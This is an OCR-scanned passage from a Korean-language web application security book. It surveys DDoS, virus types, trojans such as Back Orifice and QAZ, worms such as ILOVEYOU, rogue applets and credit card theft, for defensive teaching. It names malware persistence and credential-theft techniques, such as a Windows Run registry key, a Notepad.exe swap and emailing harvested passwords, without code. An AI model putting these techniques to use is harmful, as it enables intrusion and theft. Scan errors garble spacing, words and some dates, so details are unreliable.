있다. 그러면 종업원측에 배치한 도구들이 적절히 리용되는지 그리고 자기들의 연구결과 
들이 알맞게 조작되는지 어떻게 믿을수 있는가? 

보안전문가를 리용하는데서 관련한 위험 

보안전문가를 회사에 받아 들이는것과 관련한 리득은 비록 여러가지 입직조건을 고 
려해야 하지만은 명백하다. 보안전문가는 앞으로의 취약성을 보호하는데 리용할수 있는 
통찰력을 훈련하고 계획하는동안 현재 있는 론의점들을 고착시키는데 필요한 묘한 수를 
제공해야 한다. 물론 보안전문가가 앞으로 있을수 있는 매 공격으로부터 자기 회사를 보 
호할수 있다는것은 결코 아니 다. 

여기에 단체밖의 외부사람이 발견되는 극히 상처 입은 정보를 가지고 무엇인가 할수 
있는 잠재적인 위협이 있다. 본질적으로 회사는 어떻게 응용프로그람들의 굳센 보안을 
방조하는데 종사하는 그들 매 사람들을 보호하는가? 첫 단계는 신용 있는 보안전문가를 
어떻게 찾아 낼것인가를 연구하는것이다. 

시작에 앞서 이 사람들이 무엇때문에 선정될수 있었는가를 똑바로 알고 있어야 한다. 
즉 그들이 개발자역할을 수행하면서 한줄한줄 코드심사를 제대로 하고 있는가，또 개발 
에 착실히 참가하고 있는가 혹은 단순하게 《우리의 약점들을 찾아 내라.》는 명령을 주 
는가를 알아 봐야 한다. 매 상황은 다를것이다. 일부 회사들은 Web 싸이트에 대한 침습 
혹은 반복공격을 검출하고 임의의 뒤문들을 찾아 긴급히 닫아야 할 요구가 생길수 있다. 
회사들은 다른 전자상거 래싸이트에서의 최 근공격들에 기초한 일반적 인 위협을 감촉할수 
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있거나 시장에 새로 나온 생산품(프로그람)에 관한 정보도용의 공포를 느낄수 있다. 

임의의 작업에 착수하기전에 현재 있는 규정을 가지고서는 통하지 않는 이 새로운 
종업원을 직접 처 리하는 그를 위한 수속절차，특별규정과 규칙들을 담은 비공개동의서 
( NDA : Nondisclosure Agreement ) 를 가지고 있어야 한다. 그리고 시작부터 기대를 표 
시해야 한다. 다음 왜 그들이 선발되였으며 무엇을 달성하려고 하는가에 대하여 명백히 
하여 야 한다. 공개통신은 사업성과를 위태롭게 만든다. 만약 이 종업원의 뒤생활을 공개 
할 필요를 느꼈을 때는 틀린 사람을 선발했다는것을 의미한다. 

신임은 이 작업의 동의를 받는데서 본질적인 문제이다. 

회사는 이 사람을 보안구멍들을 찾고 그것들을 막는데 종사시켜야 하며 그를 단합된 
개발자들과 함께 일하도록 해야 한다. 이를 위한 유일한 방법은 무엇이 발생하는가를 검 
사하고 주위를 살피도록 그에게 코드내에서의 자유를 주는것이다. 동시에 회사에 속해 
있는 현존개 발자들은 발견된 취 약성들을 고정시키는 이 공정작업 에 함께 참가해 야 할것 
이 다. 목적은 현존직원들을 보안고급전문가에 의해 리용된 공정들로부터 기술을 배우게 
하고 숙련적으로 자기한테 있는 보안구멍들을 끝끝내 찾아 낼수 있게 키우는것이다. 만 
일 할수만 있다면 보안고급전문가에게 주어 진 접근을 제한할수 있다. 그러면 접근이 봉 
사기，문서서 고들 그리고 자료기지애까지 필요한가? 목적 이 무엇 인가에 따라 이 령 역들 
의 일부에 접근한계를 줄수 있다. 


제 3 절. 현 시기의 공격형태 


신용카드도적，정보도용，신분도적은 비법적해커가 망이나 자료기지에 끼여 들기 위 
하여 시도할수 있는 일련의 주되는 원인들이다. 일련의 공격들은 반달적인 형식으로 손 
상과 와해 를 시 킬 아무러 한 까닭도 없 이 발생한다. DDoS 공격，트로이 목마，웜，비 루스 
들 그리 고 악질 ( rogue ) 애 플레 트들은 해 커 들이 자기 가 겨 냥한 목표들을 파피 시 키 기 위 하 
여 리용하는 몇가지 공격방법들이다. 이 공격들이 무엇을 달성하며 어떻게 동작하는가를 
아는것은 적절한 응용프로그람보안을 준비 하기 위 한 개 발자들을 지 원방조하는데 서 매우 
중요한 문제로 된다. 

1. DoS/DDoS 

CNN 텔 레 비 존에 의 하면 2000년 2월 에 발생 한 새 로 밝혀 진 DDoS 공격 들은 대 략 추 
산하여 10억 $라는 막대한 비 용을 빼앗았다. 비 록 이 평 가는 공격 후 보안을 든든히 하는 
데 든 비 용도 포함하지 만 이 비 용은 소름이 끼칠 정 도로 크다. 한두시 간동안 진행 된 공 
격 으로 하여 대 다수 싸이 트들이 내 리워 졌다는것을 고려할 때 역시 간담을 서늘케 할 일 
이 다. 사실 가장 오랜시간동안 (5 시간) 타격 받은 싸이트는 Yahoo (야후)이 다. 

DoS 공격은 싸이트로부터의 정보에 대한 끊임 없는 비법적인 요구를 통하여 일어 나 
는 봉사거부이다. DDoS 공격 에서 해커의 콤퓨터는 속임수원천주소 U . x . x .123 은 목표 
IP 이 다. )를 가진 피 해 자를퓨터 의 방영 주소(만일 그것 이 부분망이라면 x . x . x .255) 에 속 
임수요구를 보내기 위하여 모든 노예콤퓨터 (노예로 만든 콤퓨터)들에 통보문을 보낸다. 
이것이 그림 1-1 의 걸음 1이 다. 다음 경로기 ( router ) 는 ICMP 파케트에 대한 응답요구를 
듣고 있는(약 250개까지의) 부분망우에 있는 모든 콤퓨터들(많은 경우 이것들은 피해자 
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콤퓨터들이다.)에로 속임수통보문을 보낸다(걸음 2). 이 콤퓨터들은 매개 가 다 경 로기를 
거쳐 피해자의 속임수원천주소 x , x ， x ， l 23 에 응답한다(걸음 3). DDoS 의 경우에 피해자 
콤퓨터를 반대하여 작업하는 경 로기뒤 에는 다른 콤퓨터 들이 만드는 방영주소를 리 용하여 
경로기가 작업을 몇배로 하게 하면서 경로기에로 더 많은 요구를 보내는 징용 받은 많은 
노예콤퓨터들이 있게 된다(걸음 4). 이때 피해자콤퓨터는 지나친 요구로 하여 과부하에 
걸리게 되며 나중에는 파괴상태에 처하게 되고 최악의 경우에는 경로기까지도 실제로 더 
는 파케트를 보내고 받을수 없게 만든다. 이와 같이 대화과정은 더는 회복될수 없을 정 
도로 불안정해 지거나 못쓰게 되여 봉사는 거절된다. 

최근실례로 20이년 2월에 일어 난 DoS / DDoS 공격은 Microsoft 회사를 완전히 굴복 
시켰다. 많은 산업전문가들은 이 공격이 Microsoft 회사에 대한 2억$ 광고깜빠니 아에 들 
어 선것 과 때 를 같이 하여 진행되 였 다고 보고 있다. 광고깜빠니 아는 풍자적 으로 
Microsoft 회사가 마치도《재치 있는 사무용쏘프트웨어개발회사》인것처럼 으시댄다고 
야유하는데 로 쏠렸다. 해커들은 무엇 이든 자기들을 보호할수 있는 증거물로 된다고 느질 
때에는 공격에 마음 놓고 참가하여 싸이트들을 얼마든지 조종할수 있는 인터네트산업에 
더 깊은 흔적을 남긴다. 



그림 1-1. 대표적인 DDoS 공격 


해커가 언제인가는 곡 DDoS 공격을 할것이라고 보는 단 한가지 리유는 DDoS 라는 
뜻자체가 싸이트차단을 목적으로 하기때문이 다. 물론 해커들이 이 공격형태만을 반드시 
취 한다는 다른 담보는 없다. 이 공격은 의미상 비 법적 인 해 킹이므로 이와 갈은 공격의 
희 생 물로 되 는 회 사에 대 한 사람들의 신용은 비할바없 이 떨 어 진다. 전통적 인 DDoS 공 
격들은 봉사기준위에서 발생하였지만 그것 역시 본질상 봉사거부공격인 완충기자리넘침 
공격과 함께 응용프로그람준위 에서도 발생할수 있다. 
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2000 년 2월 공격 이 일 어 났을 때 케 빈 미 트닉 크는 앞으로 이 와 같은 공격 들을 받을 
수 있는 회사들에 다음과 같은 충고를 주었다. 《나》는 3가지 (즉 현재상태 에서 그것 모 
두를 우리는 할수 있다.) 일을 다 할수 있는 싸이트들을 움직이는 사람들에게 알린다. 

3가지 조언은 다음과 갈다. 

① 자기들의 원천지，목적，목적지를 결정 하기 위해 보내는 파케트들을 분석 하기 위 
하여 망조작도구를 리용할것 

② 기 대들을 다중방위를 위하여 다른 거대한 망의 한 부분망에 넣을것 

③ 알려 진《봉사거부운수망》원천지들로부터 오는 임의의 파케트들을 물리 치기 위 
하여 방화벽 과 경 로기 ( Router ) 에 파케 트들을 려 과하는데 리 용하는 쏘프트웨 어 도 
구들을 설 치할것 


& 보안경보! 

회사가 보안계획의 작성을 잘 하지 못할 때 Web 싸이트에서 봉사거부가 발생 할수 
있다. 알맞는 부하평형이 없이는 너무나도 많은 요구들이 정보봉사기들에 제기될수 
있기때문에 합법적인 사용자들에 대한 봉사가 거절 당할수 있다. 일반적으로 Web 봉 
사에 서 는 모든 요구들이 한 봉사기 에 쏠려 과부하를 주지 않도록 하기 위하여 봉사 
기 마다 차례 로 요구들을 돌리 는 라운드-로빈 ( Round - robin ) 취 급방법 이 리 용된다. 


2. 비루스해킹 

콤퓨터 비 루스는 콤퓨터 의 하드웨 어 나 조작체 계 혹은 응용프로그람쏘프트웨 어 와 함께 
있 으면서 간섭 하는 자체 발진콤퓨터 프로그람으로서 정 의 한다. 비 루스들은 검 출에 반응하 
면서 교묘하게 피하도록 설계된다. 임의의 다른 콤퓨터프로그람과 마찬가지로 비루스는 
기능화되여 실행되여야 하며 (그것은 반드시 콤퓨터의 주기억에 적재되여야 한다.) 다음 
은 콤퓨터 가 비 루스의 명 령들을 따라 가야 한다. 이 명 령들은 비 루스의 부가짐 ( pay - 
load ) 으로서 창조된다. 부가짐은 자료파일들을 분렬시키거나 변화시킬수 있으며 통보문 
을 현시하게도 하고 또 조작체계가 이상하게 동작하게 할수도 있다. 

이 정의를 리용하여 비루스가 정확히 무엇을 하며 그의 거대한 위험 이 무엇 인가에 
대하여 좀 깊이 따져 보자. 비루스들은 프로그람들을 실행하는 명령 (실행가능한 코드)들 
이 한 콤퓨터로부터 다른 콤퓨터로 넘 어 갈 때 퍼진다. 비루스는 플로피디스크, 하드구 
동기 , 합법 적 인 ( legitimate ) 콤퓨터 프로그람 혹은 망을 통해 서 퍼 질수 있 다. 비 루스의 
양성측면은 콤퓨터가 오염된 를퓨터망에 배속되였거나 필요상 오염이 나타나지 않게 한 
오염된 프로그람을 내러적재할 때 생긴다. 그러므로 기대가 오염되기전에 코드가 실제로 
실행되여야 한다는것을 명심해야 한다. 같은 씨나리오에서 볼 때 다행스러운 기회는 만 
일 자기 콤퓨터로 비루스를 내리적재하고 그것을 실행하지 않았을 때이다. 비루스는 비 
루스먹은 프로그람을 실행하게끔 조작체계를 속여 넘기는 론리를 가지고 있다. 어떤 비 
루스들은 다른견의 합법적프로그람들에 자기를 붙일수 있는 가능성을 가진다. 이것은 프 
로그람들이 창조되거나 열릴 때 혹은 지어 갱신될 때에 발생한다. 프로그람이 실행될 때 
그렇게 하도록 하는것이 바로 비루스이다. 
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여러가지 형태의 많은 비루스들이 코드를 변화시키거나 간섭할수 있다. 유감이지만 
개발자들은 이 공격들을 출현시작부터 완전히 막을수는 없다. 개발자들도 역시 비루스보 
다 강한 코드를 작성할수 없다. 그것은 단순히 할수 있는 일이 아니다. 하지만 일어 난 
변화상태들을 검출하거나 재판할수는 있다. 역시 코드를 첫 배치장소에서부터 보호하기 
위한 여 러 가지 방법 들과 암호화수법 들을 리 용할수 있 다. 이 제 비 루스들을 다음과 같이 6 
가지로 나누어 구체적으로 고찰해 보자. 

■기 생 비 루스 

기 생 ( Parasitic ) 비 루스들은 를퓨터 안의 실 행 파일 혹은 프로그람들을 오염 시 킨다. 
이 형태의 비루스는 변화되지 않은 기본파일의 내용을 다른데로 옮기고 비루스 
코드가 먼저 실행되게 하는 식으로 기본파일에 붙어 있다. 

② 기동분구비루스 

기 동분구 (Bootstrap Sector ) 비 루스들은 기 동분구 (초기 적 재프로그람분구) 라고 
알려 진 하드디스크의 첫 구역에서 산다(이것은 플로피 디스크에서도 마찬가지 
다) . 이 비 루스는 디 스크내 용에 대 한 정 보를 기 억하는 프로그람이 나 를퓨터 를 
기동시 키는 프로그람을 자기것으로 교체 시 킨다. 이 형 태의 비루스는 플로피디 스 
크들의 물리적 인 교환을 걸쳐 가장 널리 퍼 진다. 

復) 여러변종비루스 

여러변종 ( Multi - Partite ) 비루스들은 파일이나 기동분구를 오염시키는 비루스로 
서 기생비루스와 기동분구비루스의 기능을 다 가지 고 있다. 

@동료비루스 

존재 하는 프로그람을 변화시 킬 대 신에 동료 ( Companion ) 비 루스는 이 미 존재 하 
는 합법적프로그람과 꼭 같은 이름을 가진 새로운 프로그람을 만들어 낸다. 그 
다음 동료프로그람을 실행 하는데 로 조작체 계 ( OS ) 를 속여 넘 긴다. 


손상과 방위... 

말단사용자의 비루스보호 

사용자로서 당신은 규칙적 인 절차로 합법적 인 비루스가 묻지 않은 본래 기초쏘 
’프트웨어 와 자료파일 들을 따로 보존함으로써 비 루스의 오염 을 방지할수 있 다. 이 
여벌파일 ( Backup ) 들은 필요에 따라 언제든지 자기 체 계를 회복할수 있게 한다. 이 
때 플로피 디 스크의 쓰기 보호구멍 (쏘프트웨 어 와 파일 들을 보존한후 막는 구멍 ) 을 리 
용하여 여 벌복사에 비루스가 들어 가는것을 막을수 있다. 

또한 합법 적 인 보안자원들을 미 리 갖춘 쏘프트웨어 들을 리 용하여 비 루스오염 을 
막을수도 있다. 그리고《검사》기대 에 있는 쏘프트웨어 에 비루스가 묻지 않았다는 
것을 확인하기 위해 다른 콤퓨터에 설치하기전에 항상 검사하시오. 


18 





/■•현결 (링크) 비루스 

련결 ( Link ) 비 루스들은 프로그람을 찾는 OS 의 경 로를 변화시 킴 으로써 비 루스를 
먼저 실행 하게끔 OS 를 속여 넘긴 다음 요구하는 프로그람을 동작시 킨다. 이 비 
루스는 전체 등록부를 오염시킬수 있기때문에 극히 위험하다. 따라서 등록부내 
에서 호출된 임의의 실행가능한 프로그람은 비루스를 동작시킬것이다. 

© 자료파일비루스 

자료파일 (Data file ) 비루스는 자료파일을 열거 나 조작할수 있으며 닫을수도 있 
다. 자료파일비루스들은 마크로언어로 작성되며 합법적 인 프로그람이 열릴 때 
자동적으로 실행된다. 

1) 트로이목마 

트로이목마 (Trojan Horse ) 는 비루스를 꼭 닮았지만 실지로 자기자체의 고유한 속 
성을 가지고 있다. 

트로이목마를 흔히 비법적코드의 가장 기본적인 형태로 본다. 트로이목마는 호머의 
일 리 아드에 서 한것 과 곡 같은 수법 을 쓴다. 호머 의 일 리 아드는 고대희 랍시 인 호머 
( Homer ) 의 작품이라고 전해 지는 소아시아서북부의 옛 도시 트로이 ( Troy ) 에 대한 공 
격전을 읊은 서사시를 말한다. 즉 해롭지 않은 비법적인 코드가 자료나 프로그람속에 나 
타난듯이 위장하고 내부에 포함되는 프로그람이다. 그것은 주로 랭랭한 경기시합에서와 
같이 어떤 장난처럼 위장한다. 실제로 어떤 비법적인 프로그람은 숨어서 프로그람이 자 
기 기능을 수행하려고 호출될 때마다 하드디스크를 파괴해 버릴수 있다. 

모든 트로이목마들은 내용상은 비법적이 아니지만 그것들이 할수 있는 짓이란 프로 
그람의 의 도와는 보통 맞지 않게 될 수록 많은 상처 를 내 기 위한 조사와 파괴 활동이 다. 
트로이목마에서 한가지 특별한 매력이 있다면 그것은 한 콤퓨터에서 다른 콤퓨터에로 스 
스로 전파하지 않는다는것뿐이 다. 자체 발진 ( Self - Replication ) 은 웜 ( Worm ) 의 마술이 다. 

트로이목마의 희생물로 되는 일반적인 원인은 무엇인가 하려고 첨부물요구를 담은 
전자우편을 보낸 그것때문이다. 이것은 화면 보호파일 ( Screensaver ) 이나 를퓨터유희 
( Game ) 혹은 마크로문답 ( Quiz ) 과 같이 간단한 그 무엇이 될수 있다. 로골적으로 말해 
서 이것은 명백히 첨부물을 보낼 때 그것이 아무것이든지 일으킨다고 보는것이 옳을것이 
다. 사실은 트로이목마(트로얀)가 체계에 언제 설치 (혹은 초기화)되였는가 하는것이다. 
바로 이 러한 형 태의 공격 에서 놀라운것은 그것 이 원격 조종프로그람일수 있다는것 이 다. 
사용자가 이 첨부물을 보낸후 원격봉사기로서 트로이목마를 리용하는 누군가는 사용자의 
콤퓨터 에 접속할수 있다. 해커들은 체계들이 원격 조종트로얀들을 어 떻게 실행시키 는가를 
검사하는 선진도구들을 가지고 있다. 이 특별히 설계된 포구검사프로그람 (port scanner ) 
은 사용자의 체계를 찾은 다음 모든 파일들을 바로 그 해커에게 공개한다. 두가지 보편 
적 인 트로이목마원격조종프로그람이 다름 아닌 Back Orifice 와 NetBus 이 다. 

Back Orifice 는 2개의 기본부분 즉 의뢰기응용프로그람과 봉사기응용프로그람으로 
이루어 진다. Back Orifice 가 작업하는 방법은 의뢰기응용프로그람은 한 기대에서 돌아 
가고 봉사기 응용프로그람含 다른 기대 에서 돌아 간다는 그것 이 다. 의뢰기 응용프로그람은 
다른 기대에 있는 봉사기응용프로그람을 리용하여 접속한다. 하지만 Back Orifice 의 봉 
사기응용프로그람을 기대에 설치하기 위한 유일한 방법은 오직 심사숙고하여 설치하는것 
뿐이 다. 왜 냐하면 해커 가 목표기대 에 봉사기응용프로그람을 설치하거 나 그렇 게 하도록 
목표기대의 사용자들을 속여 넘길수 있기때문이다. 여기로부터 왜 이 봉사기응용프로그 
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탐이 일반적으로 트로이목마와 같이 변장되는가 하는 리유가 나온다. 봉사기응용프로그 
람이 설치된후 의뢰기기대는 목표기대에로 파일들을 보내고 받을수 있으며 목표기대에 
있는 응용프로그람을 실행시키고 또 목표기대를 재시동시키거나 열쇠를 채워 둘수도 있 
으며 목표기대로부터 등록건 (log keystroke ) 들을 받을수 있다. 이러한 모든 연산들은 
해커에게 가치 있는 자료로 된다. 

봉사기응용프로그람은 용량이 122 KB 인 단독실 행파일 이다. 응용프로그람은 
Windows 체계폴더에 저절로 복사판을 만들고 다음의 열쇠 ( key ) 밑에 있는 Windows 등 
록고 ( Registry ) 에 자기의 파일이름을 포함하는 값을 더한다. 


Hkey _ LOCAL _ MACHINE \ SOFTWARE 、 Microsoft \ Windows ' CurrentVersion 
\ Runservices 


결국 봉사기응용프로그람을 가리키 는 특정한 등록고값은 프로그람을 설 치할수 있 
게 한다. 이 렇게 하여 봉사기응용프로그람은 항상 Windows 가 기동할 때 같이 기동하 
게 되며 따라서 매우 기능적 이며 편리 하다. Back Orifice 의 한가지 보충적 인 우점은 
Windows 과제목록에 이 응용프로그람을 표시 하지 않고 그것을 보이지 않게 덮어 버 린 
다는것이다. 


도구와 함정... 

Back Orifice 한계 

Back Orifice 트로이목마봉사기 응용프로그람은 Windows 95나 Windows 98에 
서만 동작한다. 이 봉사기응용프로그람은 Windows NT 에서는 동작하지 않는다. 
더 우기 목표기 대 (봉사기 응용프로그람을 차지 하는 기 대 )는 반드시 TCP / IP 망능력 을 
가져야 한다. 

Back Orifice 트로이목마에 대 한 두가지 좋지 못한 제 한은 공격 자가 목표기대의 
IP 주소를 반드시 알고 있어 야 한다는것과 목표기대와 공격자사이 에 방화벽 이 있어 
서는 안된다는것이다. 방화벽은 두 기대가 서로 가상적으로 통신할수 없게 만든다. 


일 반원격 조종트로이 목마를 다르게 subseven 트로얀이라고 부론다. 이 트로얀 역 시 
전자우편첨부물처럼 전송되여 그것이 실행된후에는 자주 희생물을 잘못 인도한다는 전용 
화된 통보문을 현시할수 있다. 사실 전용화된 ( customized ) 통보문은 희생물을 잘못 인 
도하는 경향이 있다. 이 특수한 프로그람은 폴더 ( folder ) 나 파일들을 지울수 있는 능력 
을 가지며 피해자의 콤퓨터를 보다 완전히 조종할수 있다. 이것은 역시 련속적으로 화면 
캄 (screen cam ) 과 같은것을 현시하는 기능을 리용한다. 캄은 해커가 피해자를퓨터의 화 
면쇼트 (screen shot : 단편기록화면)를 볼수 있게 한다. 

2000년 8월에 QAZ 트로이목마라고 알려 진 새로운 트로이목마가 발견되였다. 이것 
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은 Microsoft 의 망에 대한 해킹을 위하여 리용된 트로얀으로서 해커들이 원천코드에 접 
근할수 있도록 만들었다. 이 류별난 트로얀은 Notepad . exe 파일을 오염시키면서 공유한 
콤퓨터체계망내에서 퍼진다. 이 비법적인 트로얀으로 하여 해커는 최근시기 오염된 콤퓨 
터를 통해 망에 접근하면서 포구 7597를 열수 있다. QAZ 트로얀은 주로 전자우편과 
IRC 잡담방 ( chatroom ) 을 통해 퍼진다. 즉 그것은 국부망을 거처 종국적으로 퍼진다. 오 
염된 체계의 사용자가 Notepad 를 열기만 하면 비루스가 동작한다. QAZ 트로얀은 우선 
망작업된 를퓨터들의 개별적인 체계들을 살핀 다음 Windows 폴더를 찾아 내고 이 체계 
들 에 있 는 Notepad , exe 파 일 을 오 염 시 킨 다 . QAZ 트 로 얀 이 하 는 첫 작 업 은 
Notepad , exe 를 Note . com 으로 이름을 바꾼 다음 비루스오염된 파일 Notepad . exe 를 
만드는 일이다. 이 새로운 Notepad . exe 는 용량이 120320 byte 이다. 그다음 QAZ 트로얀 
은 를퓨터가 기동할 때마다 저절로 적재되게끔 체계등록고를 다시 쓰기한다. 만일 망관 
리자가 열려 진 포구들을 조작할 때 해커가 오염된 콤퓨터에 접속되였다면 그는 
《Unusual traffic on TCP port 7597》이 라는 통보문을 받을수 있다. 

2) 됩 

콤퓨터와 함께 일하는 사람이 라면 《I Love You 》 와 《 Melissa (멜리 자)》비루스들 
과 대단히 친숙해 졌을것이다. 이 두 비루스는 다 월의 실례로 된다. 가장 최근에 있은 
웜공격은 안나 꼬르니꼬바 (Anna Kournikova ) 웜 이라고 이름 붙은것인데 20()1 년 2월에 
발생 하였다. 안나월은 《On The Fly 》 라는 가명 을 단 20살난 네 데 를란드사람에 의 해 
만들어 진 전자우편월이 였다. 월을 리용한 가장 마지 막공격 에서 보여 준것은 명백 히 월 
작성자가 오랜 해커도 아니고 무대에 갓 등장한 햇내기였다는것이다. OnTheFly 는 캘 
러마르 (( K ) alamar ) 라고 알려 진 해커에 의 해 만들어 진 VBS 웜 발생기 (VBS Worm 
Generator ) 라는 도구를 리용하였다. 

웜 ( Worms ) 이 란 무엇 인가? 월 은 변경 파일 (Alter file ) 은 아니 지 만 주기억 에 붙어 살 
면서 를퓨터망에 자체 로 반복복사되 는 자체발진형프로그람이다. 월 들은 자동적 으로 숨어 
다니면서 사용자에게 흔히 얼굴을 내보이지 않고 조작체계의 편의봉사들을 리용한다. 월 
들이 유일하게 통보를 낸다면 자기들이 조종하지 않은 반응이 체계자원들을 소비할 때와 
다른 과제 들을 보여 주거 나 실행 중지 ( halt ) 시 킬 때 이 다. 지 금 있는 일부 월 들은 자체 발 
진뿐아니라 비법적인 부가짐도 포함한다. 웜들은 두 길중 하나 즉 전자우편이 아니면 
인터네 트잡담방을 통하여 전파될수 있다. 2000년 5월에 발견되 여 널 리 알려 진 월 은 
《I Love You 》 바그 ( bug ) 이다. 이 바그가 이동하는 민첩성은 변두통 ( migrain ) 이 있는 
적지 않은 망관리 자들속에서 나타났다. 《I Love You 》 바그는 처음에는 유럽 에서 다음 
은 미국에서 발견되 였다. 바그에 대 한 초기 분석은 Love - Letter - For - You . txt . vbs 라고 
이름 붙은 전자우편첨부물 ( attacdhment ) 로써 오는 VB 코드라는것을 재빨리 알아 냈다 
(그림 1-2). 이 비루스는 다음과 같이 동작하였다. 만일 사용자가 우편물을 마우스로 찰 
칵하면 비 루스는 사용자주소책 에 있는 매 사람한테 로 우편물을 보내 기 위하여 자체 로 
Microsoft Outlook 를 동작시켰다. 다음 비루스는 필리핀의 4개 Web 페지중 하나에 련 
결되였다. 트로이목마는 사용자의 체계에 기억되여 있는 사용자이름과 통과암호들을 모 
으기 위해 결합된 Web 폐지로부터 Wind - BUGSFIX . EXE 를 내리적재하였다. 그다음 모 
든 사용자이 름과 통과암호들을 전자우편주소에 로 전송하였 다. 

바그는 유럽 에 서 처 음으로 나타난후 12시 간이내 로 미 국에 까지 급속히 퍼 졌다. 
《I Love You 》 바그에 의하여 파괴된 를퓨터수는 50만대로 추산되였다. 
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이 장의 비루스부분에서 이미 론의 한것처 럼 개 발자는 사실 아무렇게 나 웜공격 에 대 
한 보호를 할수 없다. 그들은 자기들의 기대들에서 월공격을 막는 적 합한 코드를 작성 할 
수 없거 니 와 현재 그것 을 막을만한 그러한 말단사용자 ( end - user ) 들이 없 다. 웜 공격 을 
막는 가장 훌륭한 방법은 조심성과 지식이다. 사용자는 신용 없는 원천지들로부터 우편 
물을 내리적재하지 말며 알지 못하는 원천지들로부터 오는 전자우편들을 함부로 열지 말 
아야 한다. 웜의 방지는 실제상 말단사용자들의 손에 달려 있다. 망관리자들은 월 이 전 
체 망에 걸쳐 자체발진하지 못하도록 하기 위 하여 가장 좋은 대 책적방법 에 대 하여 자기 
사용자들에게 미 리 교육을 주어 야 한다. 


그림 1-2. I Love You 월 


3) 악질애플레트 

Java 애 플레 트， JavaScrip 그리 고 ActiveX 조종체 형 태 의 이 동코드응용프로그람 
(Mobile code Applicu 1: ion ) 들은 정보를 배포하기 위한 강력한 도구들이 다. 역시 이것 
들은 비법적 인 코드를 전송하기 위한 강력한 도구들로도 된다. 악질 ( Rogue ) 애플레트들 
은 비루스가 하는것처럼 자체발진은 하지 않으며 또 자료를 더럽히지는 않는다. 그러나 
대신에 그것들은 자료를 훔치거나 불안정하게 만들도록 설계된 가장 흔히 있는 특정의 
공격 들이 다. 

앞으로 이 책에서 나오는 장들에서 읽을수 있는것처럼 Java 와 ActiveX 는 비법적인 
이 동코드를 막기 위하여 만들어 진 내 부보안체 계 들을 가지 고 있 다. 하지 만 이 내 부 
( built - in ) 보안특성들은 악질애플레트들의 위협을 완전히 제거하지 못하고 있다. 악질애 
플레트들은 사용자들이 자기 기대들을 공격하는 비루스를 가진 전자우편으로부터 어떤것 
을 실제로 내 리적재 하거 나 우편물을 반드시 열지 않으면 안되게끔《프로그람화》된다. 
사용자들은 보통 이동코드의 위협에 대하여 알고 있어야 한다. 비법적인 이동코드의 조 
각을 작성하는것은 해커가 회사내에서 할수 있는 가장 쉬운 방법중의 하나이다. 이를 위 
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해 해커들이 성공을 달성하기 훨씬 이전부터 흔히 취함수 있는 방법들을 리용하여 외부 
로부터 해 킹하여 들어 가려고 한다는것은 뻔한 일 이 다. 

이동코드의 개념은 사용자체계가 원격체계로부터 얻은 코드를 그 어떤 사람의 체계에 
서 실행할수 있게 한다는것이다. 즉 원천지는 알려 지지 않았기때문에 원천지를 믿을수 
없다는 의견을 품을것이라는것은 명백한 사실이다. 이동코드는 아래서 렬거한 일부 저준 
위보안개념들을 가지는데 이 모든 개 념들을 앞으로 나가면서 보다 구체적으로 론하겠다. 

• 접 근조종 (Access Control) 

이 코드의 사용이 허락되는지를 결정한다. 

• 사용자인증 (User authentication) 

정정 당당한 사용자들을 식 별하고 검정 하는데 리 용된다. 

• 자료완정 성 (Data integrity) 

코드에 손을 대지 않았다는것을 확신한다. 

• 인연맺음 (Nonrepudiation) 

특히 코드사용에 변화가 있으면 송신자와 수신자사이의 약속으로 보고 행동한다. 

• 자료기 밀성 (Data confidentiality) 

민감한 코드를 보호하는데 쓴다. 

• 검사 (Auditing) 

이 동코드의 사용을 추적하는데 리 용된 다. 

이미 설명한것처럼 악질애플레트들은 비법적이동코드의 실례들이다 . 악질애플레트들 
이 어떻게 동작하며 왜 그것들이 응용프로그람개발에서 보안위협을 만드는가를 더 잘 알 
면 알수록 자기 

Web 응용프로그람에 대한 보안을 더 잘 준비할수 있다. 우리는 이동코드， Java 그 
리고 ActiveX 에 대 하여 이 책의 다음장들에서 구체적으로 론의한다. 

3. 홈치기 

인터 네 트를 통한 훔치기 (Stealing) 에 대 하여 말할 때 이 용어 는 좀 유순한감을 준다. 
이것은 10대의 소년이 《나는 오늘 무엇을 훔쳤다.》고 말하는것과 똑 같은 무게를 가진 
다고 볼수 있다. 이들이 당과류를 훔쳤는가，신발 2컬레를 훔쳤는가，자동차를 훔쳤는가 
혹은 100만$를 훔쳤는가? 또한 그것들을 상점 에서 아니면 당신한테서 혹은 은행 에서 훔 
쳤는가? 코드를 작성할 때 우리 모두는 어 떤 다른 사람의 원천코드를《 훔쳤 다》는것 을 
명백히 하자. 우리들한테는 가끔 어떤것을 자체로 어떻게 할지 갈피를 잡지 못하는 때가 
있군 한다. 따라서 우리는 자기들한테 필요한것을 손 쉽게 하기 위하여 어떤 다른 사람 
의 작업을 《빌린다》. 이 작업방식은 개발자들을 통해 매우 널리 퍼졌다. 이러한 형태 
의 흉치기는 우리가 이 장에서 이야기하려는 그런 훔치기가 아니다. 

우리는 어떤 다른 사람들이 생각지도 못하는 곳으로 접근하려고 한다. 사용자는 인 
테네트에서 거래하든 혹은 자기 병원의 병력서들을 나르든 명백히 자기 정보가 안전하다 
는 담보밑에서 그 일을 하게 된다. 실례로 물건을 훔쳐서 판다는것은 도적질의 성공이 
문제이지 짝패가 후원할 때 설사 물건값이 더 붙는다고 해도 그 값이 얼마였는가는 실제 
로 의미가 없다. 이러한 형태의 훔치기는 신용카드도적，신분도적 혹은 정보도용이다. 
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1) 신용카드도적 

소비 자의 견지 에 서 볼 때 신용카드도적 질 (Credit Card Theft ) 은 아마 가장 무서 운 
단독형 태의 해 킹일것 이 다. 인터네트에서 어떻게 사고 파는것 이 보안되는가에 대 하여 를 
퓨터지식 이 없는 사람에게 물어 보면 신용카드람용과 관련한 이 러저 러한 여 러가지 《민 
간전설》(민간에서 나도는 소문)들을 듣을수 있다. 흔히 법규범에 습관된 사람들은 인터 
네트에서 아무때나 거래를 위해 리용하는 신용카드를 믿는다. 어떤 사람들은 신용카드정 
보에 남몰래 손을 대면서 자기딴의 거래를 한다. 하여튼 인터네트상의 모든 매매 (사고팔 
기)가 안전하다고 담보하는 많은 사람들을 만날수 있다. 그렇다면 진실은 어느쪽에 있으 
며 신용카드도적이 실제로 있는가? 도적은 절대적으로 존재하며 도적질은 항상 일어 난 
다. 인터네트에서 거래가 있을 때마다 그것이 일어 나는가? 항상 그런것은 아니다. 

Egghead . com 에 대한 공격은 묵직 한 신용카드정보도적질 이였다. 공격은 20()1 년 1 
월에 일어 났는데 수천개의 신용카드를 포함하였다. Egghead . com 은 그때 자기들은 명 
